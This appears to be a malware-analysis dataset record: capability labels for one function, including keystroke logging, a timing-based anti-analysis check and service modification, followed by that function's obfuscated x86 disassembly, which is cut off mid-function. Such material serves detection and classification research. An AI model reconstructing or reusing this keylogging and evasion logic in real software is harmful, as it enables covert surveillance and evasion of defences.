Function at 0x1002daee
Capabilities:
Accept command line arguments
Check for time delay via queryperformancecounter
Check os version
Create directory
Create process on windows
Delete directory
Delete registry value
Enumerate gui resources
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Get geographical location
Get thread local storage value
Identify system language via api
Log keystrokes
Log keystrokes via polling
Modify service
Query environment variable
Start service

Disassembly:
mov eax, 0x10089e6e
call fcn.10088cbc
mov eax, 0x134c
call fcn.10083460
xor eax, eax
mov byte [ebp - 0x6d], dl
push ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
push esi
push edi
mov dword [ebp - 0x5c], ecx
jge 0x1002db2f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7a4], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002db16
xor eax, eax
xor edi, edi
mov dword [ebp - 0x14], eax
inc edi
cmp dword [ebp - 0x14], edi
jge 0x1002db52
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa8], 0x490c4d8e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002db3a
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_CompareFileTime]
mov dword [ebp - 0xa8], edi
cmp dword [ebp - 0xa8], eax
jl 0x1002dbf8
push 3
lea ecx, [ebp - 0x870]
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002db91
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x870]
mov dword [eax + ecx*4], 0x31d83293
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002db7e
mov esi, dword [ebp - 0x870]
mov dword [esi + 8], edi
mov dword [ebp - 0x44], 0x23498e64
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp + eax*4 - 0x7a4]
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x7a4], ecx
xor eax, eax
cmp ecx, 0xffffffff
setg al
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002dbda
push eax
push eax
call ebx
dec dword [esi + 8]
jns 0x1002dba0
lea ecx, [ebp - 0x870]
call fcn.1001614d
dec dword [ebp - 0xa8]
jns 0x1002db6a
xor eax, eax
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], 0xe283d1f0
mov dword [ebp - 0x28], 0xcc9f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002dc39
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb10], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002dc20
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002dc5b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x122c], 0xcb2d505b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002dc42
xor eax, eax
mov ecx, edi
cmp dword [ebp - 0x38], eax
jne 0x1002dc64
mov ecx, eax
mov eax, dword [ebp - 0x38]
add eax, ecx
jne 0x1002dc71
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
xor edx, edx
sub eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
cmp ecx, 0x6cc9
setle dl
xor eax, eax
cmp edx, 0xfffffffb
setne al
mov dword [ebp - 0xb0c], eax
mov ecx, dword [ebp - 0xb0c]
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
cmp ecx, eax
je 0x1002dcad
mov esi, edi
jmp 0x1002dcb1
xor eax, eax
mov esi, eax
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x1002dccb
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x1002dccd
mov edx, edi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
add ecx, esi
cmp ecx, 0x1dd8e181
setg al
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002dd0b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x80c], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002dcf2
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002dd21
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa0], 0x490c4d8e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002dd10
movdqa xmm0, xmmword [0x100083f0]
lea ecx, [ebp - 0x1078]
push ecx
lea eax, [ebp - 0x1068]
mov dword [ebp - 0x18], 0x6b8f3d42
push eax
push ecx
mov dword [ebp - 0x1c], 9
lea ecx, [ebp - 0xf3c]
movdqu xmmword [ebp - 0x1078], xmm0
call fcn.10015953
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002dd74
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002dd9e
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0x8e85
setle cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002dda0
mov ecx, edi
mov eax, dword [ebp - 0xf3c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x1c]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002ddbd
push eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0xf3c]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0xa0], edi
cmp dword [ebp - 0xa0], eax
jl 0x1002dee6
push 3
lea ecx, [ebp - 0xc60]
call fcn.10015911
xor eax, eax
lea ecx, [ebp - 0x888]
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 0x2bea
push 2
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002de1c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x888]
mov dword [eax + ecx*4], 0xecb45710
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002de09
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x888]
mov dword [eax + 4], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002de4f
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002de4c
push 0x1c0d
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x1002de35
lea ecx, [ebp - 0x888]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002de79
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc60]
mov dword [eax + ecx*4], 0x31d83293
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002de66
mov esi, dword [ebp - 0xc60]
or edx, 0xffffffff
mov dword [esi + 8], edi
mov dword [ebp - 0x44], 0x23498e64
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp + eax*4 - 0x80c]
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x80c], ecx
xor eax, eax
cmp ecx, edx
setg al
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002dec7
push eax
push eax
call ebx
or edx, 0xffffffff
dec dword [esi + 8]
jns 0x1002de8b
lea ecx, [ebp - 0xc60]
mov dword [ebp - 4], edx
call fcn.1001614d
dec dword [ebp - 0xa0]
jns 0x1002dddc
movdqa xmm0, xmmword [0x10008360]
lea ecx, [ebp - 0x1118]
push ecx
lea eax, [ebp - 0x1108]
mov dword [ebp - 0x2c], 0xd509
push eax
mov dword [ebp - 0x14], 0xfffffff6
push ecx
mov dword [ebp - 0x24], 0x56411d7f
lea ecx, [ebp - 0x730]
mov dword [ebp - 0x4c], edi
movdqu xmmword [ebp - 0x1118], xmm0
call fcn.10015953
push 2
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x8a0]
pop ebx
mov dword [ebp - 0x4c], 0xb0d58e7e
mov dword [ebp - 0x28], 0x898d08f4
mov dword [ebp - 0x4c], 0x4fe10ef7
push ebx
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002df69
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x8a0]
mov dword [eax + ecx*4], 0xbd1a6f32
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002df56
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002df88
cmp dword [ebp - 0x24], eax
je 0x1002df88
mov eax, edi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x730]
mov esi, dword [ebp - 0x730]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [esi + 4]
setne dl
sub edx, eax
sub edx, 0x617c0ec0
cmp dword [ebp - 0x2c], edx
jne 0x1002dfc2
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x730]
mov ecx, dword [esi + 4]
mov dword [eax], ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x24]
sub eax, 0x4643a64e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x8a0]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002e029
push 0x8ed
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea ecx, [ebp - 0x8a0]
call fcn.1001614d
or eax, 0xffffffff
lea ecx, [ebp - 0x730]
mov dword [ebp - 4], eax
call fcn.1001614d
mov dword [ebp - 0x20], 0xfffffffa
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 0x2c], edi
push 3
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x18], eax
jmp 0x1002e075
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2f0]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e066
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002e123
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], eax
jmp 0x1002e099
inc dword [ebp - 0x28]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1002e093
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x1002e120
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x2f0]
cmp dword [edx + eax*4], ecx
mov eax, 0xffff
setl cl
cmp eax, ecx
sbb eax, eax
inc eax
imul eax, dword [edx + esi*4]
test eax, eax
je 0x1002e111
imul eax, dword [ebp - 0x28], 7
test eax, eax
jne 0x1002e0ee
cmp dword [ebp - 0x2c], eax
jne 0x1002e0ee
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2f0]
cmp dword [eax + ecx*4], 0
jne 0x1002e0ee
xor eax, eax
mov edx, eax
jmp 0x1002e0f0
mov edx, edi
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2f0]
cmp edx, dword [eax + ecx*4]
jl 0x1002e111
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2f0]
cmp dword [eax + ecx*4], 0
je 0x1002e111
mov eax, edi
jmp 0x1002e113
xor eax, eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1002e0a6
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1002e08b
lea ecx, [ebp - 0x2f0]
call fcn.1001614d
mov dword [ebp - 0x34], 0xd513c61c
lea ecx, [ebp - 0x380]
push 4
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1002e16d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x78], 0xe3556834
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1002e158
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1002e18f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xdc], 0x3606de71
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002e176
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1002e1b3
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x380]
mov dword [eax + ecx*4], 0xd66a0756
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002e198
xor eax, eax
mov dword [ebp - 0xd8], eax
jmp 0x1002e25f
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002e1e5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xde4], 0x693009ce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002e1cd
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x1002e259
mov esi, dword [ebp - 0x380]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x24]
dec dword [esi + 0xc]
mov dword [ebp + eax*4 - 0x78], ecx
mov eax, dword [esi + 0xc]
imul eax, ecx
test eax, eax
je 0x1002e221
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002e242
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
jmp 0x1002e242
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp + eax*4 - 0x78]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x78], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x78]
mov dword [ebp - 0xde0], eax
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x1002e1f3
inc dword [ebp - 0xd8]
cmp dword [ebp - 0xd8], eax
jle 0x1002e1be
mov eax, dword [ebp - 0x380]
cmp dword [eax + 8], 0
jne 0x1002e27e
xor eax, eax
cmp dword [ebp - 0x78], eax
je 0x1002e280
mov eax, edi
mov ecx, dword [ebp - 0x54]
neg eax
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0xd8]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x380]
setle bl
xor ecx, ecx
cmp ebx, eax
setle cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, dword [edx + 0xc]
setle cl
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0xd8]
sub edx, 0xf529
neg edx
sbb edx, edx
add edx, 0xd10171a1
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x380]
setle cl
neg ecx
cmp ecx, 0xb3d385e1
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp ecx, dword [eax + 4]
mov eax, dword [ebp - 0xdc]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x54]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x380]
call fcn.1001614d
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ebx
cmp dword [ebp - 0x14], ebx
jge 0x1002e354
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7d4], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e33c
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002e374
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9c], 0x490c4d8e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002e35c
xor eax, eax
mov dword [ebp - 0x9c], edi
cmp dword [ebp - 0x9c], eax
jl 0x1002e6d7
or esi, 0xffffffff
jmp 0x1002e38d
xor eax, eax
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0xb28]
mov dword [ebp - 0x30], 0xdada439b
mov dword [ebp - 0x30], 0xdc4b4e12
mov dword [ebp - 0x30], 0xa624cdb
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x3921ded6
mov dword [ebp - 0x30], esi
push 3
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002e3d5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb28]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e3c6
mov eax, dword [ebp - 0xb28]
lea ecx, [ebp - 0xb28]
dec dword [eax + 4]
call fcn.1001614d
push 3
lea ecx, [ebp - 0xd08]
call fcn.10015911
push edi
lea ecx, [ebp - 0x598]
mov dword [ebp - 4], ebx
call fcn.10015911
mov dword [ebp - 0x2c], 6
xor eax, eax
mov dword [ebp - 0x44], 0x7b5ca986
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002e439
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x598]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002e423
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002e44b
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002e47f
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x598]
mov edx, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x2c]
neg edx
mov eax, dword [ebp - 0x598]
mov dword [eax + ecx*4], edx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp edx, eax
sete cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x2c]
jns 0x1002e453
lea ecx, [ebp - 0x598]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002e4b0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xd08]
mov dword [eax + ecx*4], 0x31d83293
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e495
xor eax, eax
mov esi, dword [ebp - 0xd08]
mov dword [esi + 8], edi
jmp 0x1002e4bd
xor eax, eax
push 5
pop ecx
mov dword [ebp - 0x7f4], ecx
mov dword [ebp - 0x7f0], ecx
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x7e8], ecx
mov dword [ebp - 0x14], 0xfffffffa
mov dword [ebp - 0x28], 0x45d811f0
mov dword [ebp - 0x4c], 0xdb6084ed
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x1002e504
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x14]
jns 0x1002e4fc
mov eax, dword [ebp - 0x14]
sub eax, 0x5de1fc65
neg eax
push 3
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x14]
cmp eax, ecx
sbb edx, edx
xor eax, eax
mov dword [ebp - 0x28], eax
neg edx
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x7f4]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x7e8]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
sete bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ebx, ebx
cmp eax, edx
setle bl
sub ebx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
neg ebx
sbb ebx, ebx
add ebx, 2
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setne cl
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x44], 0x23498e64
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + eax*4 - 0x7d4]
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x7d4], ecx
xor eax, eax
cmp ecx, 0xffffffff
pop ecx
setg al
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0x3d], al
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], 0xe283d1f0
mov dword [ebp - 0x28], 0xcc9f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002e5f1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8b8], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e5d9
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ebx
cmp dword [ebp - 0x14], ebx
jge 0x1002e614
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x120c], 0xcb2d505b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e5fc
xor eax, eax
mov ecx, edi
cmp dword [ebp - 0x38], eax
jne 0x1002e61d
mov ecx, eax
mov eax, dword [ebp - 0x38]
add eax, ecx
jne 0x1002e62a
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub eax, ecx
xor ecx, ecx
cmp eax, 0x6cc9
setle cl
xor eax, eax
cmp ecx, 0xfffffffb
setne al
mov dword [ebp - 0x8b4], eax
mov ecx, dword [ebp - 0x8b4]
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
cmp ecx, eax
jne 0x1002e665
xor eax, eax
mov edi, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x1002e682
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x1002e684
mov edx, ecx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
add ecx, edi
cmp ecx, 0x1dd8e181
setg al
mov dword [ebp - 0x44], eax
cmp byte [ebp - 0x3d], 0
je 0x1002e6ae
xor eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
dec dword [esi + 8]
push 1
pop edi
jns 0x1002e4bb
or esi, 0xffffffff
lea ecx, [ebp - 0xd08]
mov dword [ebp - 4], esi
call fcn.1001614d
dec dword [ebp - 0x9c]
jns 0x1002e38b
movdqa xmm0, xmmword [0x10008360]
lea ecx, [ebp - 0x1098]
push ecx
lea eax, [ebp - 0x1088]
mov dword [ebp - 0x2c], 0xd509
push eax
mov dword [ebp - 0x14], 0xfffffff6
push ecx
mov dword [ebp - 0x24], 0x56411d7f
lea ecx, [ebp - 0x688]
mov dword [ebp - 0x4c], edi
movdqu xmmword [ebp - 0x1098], xmm0
call fcn.10015953
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x8d0]
mov dword [ebp - 0x4c], 0xb0d58e7e
mov dword [ebp - 0x28], 0x898d08f4
mov dword [ebp - 0x4c], 0x4fe10ef7
push ebx
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002e75b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x8d0]
mov dword [eax + ecx*4], 0xbd1a6f32
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002e748
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002e77a
cmp dword [ebp - 0x24], eax
je 0x1002e77a
mov eax, edi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x688]
mov esi, dword [ebp - 0x688]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [esi + 4]
setne dl
sub edx, eax
sub edx, 0x617c0ec0
cmp dword [ebp - 0x2c], edx
jne 0x1002e7b4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x688]
mov ecx, dword [esi + 4]
mov dword [eax], ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x24]
sub eax, 0x4643a64e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x8d0]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002e81b
push 0x8ed
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea ecx, [ebp - 0x8d0]
call fcn.1001614d
or esi, 0xffffffff
lea ecx, [ebp - 0x688]
mov dword [ebp - 4], esi
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0x30], 0x2799
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002e855
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002e871
push 0x11e4
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
movdqa xmm0, xmmword [0x100083f0]
lea ecx, [ebp - 0x1198]
push ecx
lea eax, [ebp - 0x1188]
mov dword [ebp - 0x18], 0x6b8f3d42
push eax
push ecx
mov dword [ebp - 0x1c], 9
lea ecx, [ebp - 0xe54]
movdqu xmmword [ebp - 0x1198], xmm0
call fcn.10015953
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002e8bf
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002e8e9
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0x8e85
setle cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002e8eb
mov ecx, edi
mov eax, dword [ebp - 0xe54]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x1c]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002e908
push eax
